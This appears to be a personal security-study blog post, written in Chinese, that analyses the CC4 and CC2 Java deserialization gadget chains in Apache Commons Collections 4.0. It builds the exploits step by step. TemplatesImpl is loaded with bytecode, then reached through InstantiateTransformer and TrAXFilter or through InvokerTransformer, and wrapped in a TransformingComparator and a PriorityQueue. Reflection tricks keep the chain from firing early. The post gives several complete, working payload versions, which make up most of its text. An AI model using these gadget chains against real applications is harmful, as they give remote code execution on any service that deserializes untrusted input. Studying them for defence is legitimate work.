CC4 && CC2

CC4

image-20250430083036685

一.环境分析

<1.1>添加依赖

    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>

IDEA自动加载

image-20250429104050798

<1.2>不同于CC3

CC4介绍:

  • CC4中不是像之前学的用LazyMap或TransformedMap调transform方法,变成了TransformingComparator.compare.(.transform),CC4后面也是用的CC3加载类代码执行(InstantiateTransformer,TrAXFilter,TemplatesImpl)

commons-collections3中TransformingComparator没有继承Serializable,commons-collections4中才继承

二.分析过程

<2.1>尾部

和CC3一样加载类执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//尾部代码执行
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field name = c1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
//templates.newTransformer();
InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

// chainedTransformer.transform(1);

<2.2>TransformingComparator

找到TransformingComparator.compare**.transform**

直接构造器里面传chainedTransformer

image-20250429144251555

1
2
   TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
// transformingComparator.compare(1,2);

<2.3>PriorityQueue

找到PriorityQueue.readObject.heapify.siftDown.siftDownUsingComparator**.compare**

从入口类PriorityQueue中(一直在这个类)走到TransformingComparator.compare(.get)

刚好comparator,TransformingComparator是相同类型,直接构造器传参即可

image-20250429153412445

image-20250429153441860

image-20250429153524495

image-20250429153558394

三.构造exp

<3.1>构造

现在构造如下,但是什么也没发生,也没有报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//尾部代码执行
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field name = c1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
//templates.newTransformer();
InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

//chainedTransformer.transform(1);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
// transformingComparator.compare(1,2);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");

<3.2>调试

调试一下

问题1

PriorityQueue.heapify

此时size=0,(0>>>1)-1=-1,不会进入循环调siftDown()

当size为2,(2>>>1)-1=0才能进入for循环

image-20250429161142770

  • add两次,size就变为2
1
2
priorityQueue.add(1);
priorityQueue.add(2);

image-20250429163835643

还有就是注意从readObject跟进去发现之后调到compare(arg1,arg2)

arg1和arg2就是add()两次传进去的值,所以这就为CC2直接连InvokerTransformer奠定了基础哈哈(因为transform方法的参数就是可控的了,不需要用到数组了)

image-20250429211059393

  • 当然也可以直接反射修改size为2
1
2
3
4
Class<PriorityQueue> c2 = PriorityQueue.class;
Field size = c2.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);

问题2

发现add之后,还没有反序列化就弹计算器了

这里add和之前put比较像,会提前消耗利用链 add()—>offer()—>siftUp()—>siftUpUsingComparator()—>compare().transform()

所以就得先断开,add之后再反射赋值

image-20250429164516541

image-20250429164604374

image-20250429164616636

补充:

后面学习CB时才发现,对这里并没有搞清楚

add两次的时候一是为了使size变成2,在反序列化的时候满足条件能遍历,继续调后续利用链

二是给数组queue赋值,值会一直传到后面,作为后续compare方法的参数

  • add时提前消耗也是有条件的:size要不为0,也就是说第一次add的时候并不会提前消耗

image-20250523090430705

跟进去第二次add发现传进去的参数是 数组queue[0] (即第一次传进去的值) 和 第二次传进去的值

image-20250523091222601

  • 在真正反序列化时的利用:

    传的参数是数组queue[0]

image-20250523091837473

image-20250523094325183

所以所以add修改size时,一定第一个add传参TrAXFilter.class

<3.3>最终构造

可以直接反射修改size为2,也可以add两次(add需要注意会提前触发,它也可以不用数组)

直接反射修改size

  • 传参可以有两种方法:
    • 反射修改数组queue[] 或者 add一次传参(这么做可以不用数组了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//尾部代码执行
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field name = c1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
//templates.newTransformer();
InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

//chainedTransformer.transform(1);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
// transformingComparator.compare(1,2);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);


Class<PriorityQueue> c2 = PriorityQueue.class;
Field size = c2.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);


serialize(priorityQueue);
unserialize("ser.bin");

从CB回来看发现反射修改size的话,可以变得再简单点,不用数组了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//尾部代码执行
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field name = c1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);

InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates});


TransformingComparator transformingComparator = new TransformingComparator<>(instantiateTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(TrAXFilter.class);


Class<PriorityQueue> c2 = PriorityQueue.class;
Field size = c2.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);


serialize(priorityQueue);
unserialize("ser.bin");


add修改size

由于add提前触发利用链,要先断开后面,防止本地执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//尾部代码执行
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field name = c1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
//templates.newTransformer();
InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templates});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(TrAXFilter.class);
priorityQueue.add(5);
Class<TransformingComparator> c2 = TransformingComparator.class;
Field transformer = c2.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,instantiateTransformer);




serialize(priorityQueue);
unserialize("ser.bin");


CC2

一.前言

CC2和CC4没啥区别,调newTransformer不同而已

  • CC2就是直接用TransformingComparator连接InvokerTransformer.transform.(TemplateImpl.newInstance),
  • CC4中ChainedTransformer.transform–>InstantiateTransformer.transform(TrAXFilter.class)—>TrAXFilter.constructor.newInstance

直接用InvokerTransformer调,没有用到数组

二.分析过程

<2.1>尾部

CC2后半部分就还是代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//尾部代码执行
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field name = c1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
// templates.newTransformer();

<2.2>InvokerTransformer

这里不同于CC4,直接用InvokerTransformer调newTransformer

为了防止后面put时本地执行,他要先断开

1
2
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));//断开

<2.3>后续与CC4一样

因为CC2没有用数组,直接用的InvokerTransformer.transform()调TemplateImpl.newTransformer,所以前面要传transform()的参数

跟进一下发现,add的第一个值就是TransformingComparator.compare.(transformer.transform(arg)) 的arg

1
2
3
4
5
6
7
8
9
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(templates);
queue.add(templates);
Class<TransformingComparator> c2 = TransformingComparator.class;
Field comparator = c2.getDeclaredField("transformer");
comparator.setAccessible(true);
comparator.set(transformingComparator,invokerTransformer);
serialize(queue);
unserialize("ser.bin");

三.最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//尾部代码执行
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field name = c1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
// templates.newTransformer();
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(templates);
queue.add(templates);
Class<TransformingComparator> c2 = TransformingComparator.class;
Field comparator = c2.getDeclaredField("transformer");
comparator.setAccessible(true);
comparator.set(transformingComparator,invokerTransformer);
serialize(queue);
unserialize("ser.bin");

其他的payload和上面CC4差不多的

四.小结

image-20250504151559145

下面是不需要用到数组的:

其实就CC1(官方的和TransformedMap都不行)不能控制transform的参数

CC6是TiedMapEntry(中key即为参数),CC3前面与CC1相连的自然不能传了,与CC6相连就能传

CC4,CC2是PriorityQueue中 第一个add的即为transform参数

也就是说CC3前面与CC6相连,CC2,CC4与TransformerComparator.compare相连都能不用数组


CC4 && CC2
https://bxhhf.github.io/2025/05/13/CC4_CC2/
作者
bxhhf
发布于
2025年5月13日
许可协议